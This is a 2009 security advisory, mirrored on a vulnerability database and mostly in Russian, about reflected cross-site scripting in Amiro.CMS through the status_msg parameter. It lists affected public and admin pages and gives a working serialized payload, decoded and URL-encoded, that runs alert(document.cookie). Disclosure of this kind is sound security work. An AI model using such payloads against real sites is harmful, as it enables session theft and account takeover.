Lucene search

K
securityvulnsSecurityvulnsSECURITYVULNS:DOC:22648
HistoryOct 19, 2009 - 12:00 a.m.

[ONSEC-09-004] Amiro.CMS Multiple XSS

2009-10-1900:00:00
vulners.com
42

http://onsec.ru/vuln?id=11

[ONSEC-09-004] Amiro.CMS Multiple XSS
Цель: Amiro <= 5.4.0.0
Тип: Межсайтовый скриптинг
Угроза: Средняя
Дата обнаружения: 01.07.2009
Дата оповещения разработчика: 01.07.2009
Дата выхода исправления: 06.10.2009
Автор: Vladimir Vorontsov
OnSec Russian Security Group (onsec [dot] ru)
Описание: ====================================================
Уязвимость существует из-за недочета в функции проверки спецсимволов в строке параметра status_msg. Специально составленный запрос с тэгом [ALERT][/ALERT] позволяет выполнить в броузере жертвы любой JavaScript код. Параметр status_msg служит для уведомления пользователя и обрабатывается на страницах:

http://localhost:7777/news
http://localhost:7777/comment
http://localhost:7777/forum
http://localhost:7777/blog
http://localhost:7777/tags
http://localhost:7777/_admin/forum.php
http://localhost:7777/_admin/discussion.php
http://localhost:7777/_admin/guestbook.php
http://localhost:7777/_admin/blog.php
http://localhost:7777/_admin/news.php
http://localhost:7777/_admin/srv_updates.php
http://localhost:7777/_admin/srv_backups.php
http://localhost:7777/_admin/srv_twist_prevention.php
http://localhost:7777/_admin/srv_tags.php
http://localhost:7777/_admin/srv_tags_reindex.php
http://localhost:7777/_admin/google_sitemap.php
http://localhost:7777/_admin/sitemap_history.php
http://localhost:7777/_admin/srv_options.php
http://localhost:7777/_admin/locales.php
http://localhost:7777/_admin/plugins_wizard.php

Специального вида строка параметра выглядит следующим образом (представление URL-decoded):

?status_msg=a:2:{s:3:"sys";a:0:{}s:5:"plain";a:1:{i:0;a:2:{s:3:"msg";s:68:"ONsec.ru - XSS test[ALERT]\");alert(document.cookie)//alert([/ALERT]";s:4:"type";s:4:"none";}}}

Реализация:

http://localhost:7777/news/?status_msg=a&#37;3A2&#37;3A&#37;7Bs&#37;3A3&#37;3A&#37;22sys&#37;22&#37;3Ba&#37;3A0&#37;3A&#37;7B&#37;7Ds&#37;3A5&#37;3A&#37;22plain&#37;22&#37;3Ba&#37;3A1&#37;3A&#37;7Bi&#37;3A0&#37;3Ba&#37;3A2&#37;3A&#37;7Bs&#37;3A3&#37;3A&#37;22msg&#37;22&#37;3Bs&#37;3A68&#37;3A&#37;22ONsec.ru&#37;20-&#37;20XSS&#37;20test&#37;5BALERT&#37;5D&#37;5C&#37;27&#37;29&#37;3Balert&#37;28document.cookie&#37;29&#37;2F&#37;2Falert&#37;28&#37;5B&#37;2FALERT&#37;5D&#37;22&#37;3Bs&#37;3A4&#37;3A&#37;22type&#37;22&#37;3Bs&#37;3A4&#37;3A&#37;22none&#37;22&#37;3B&#37;7D&#37;7D&#37;7D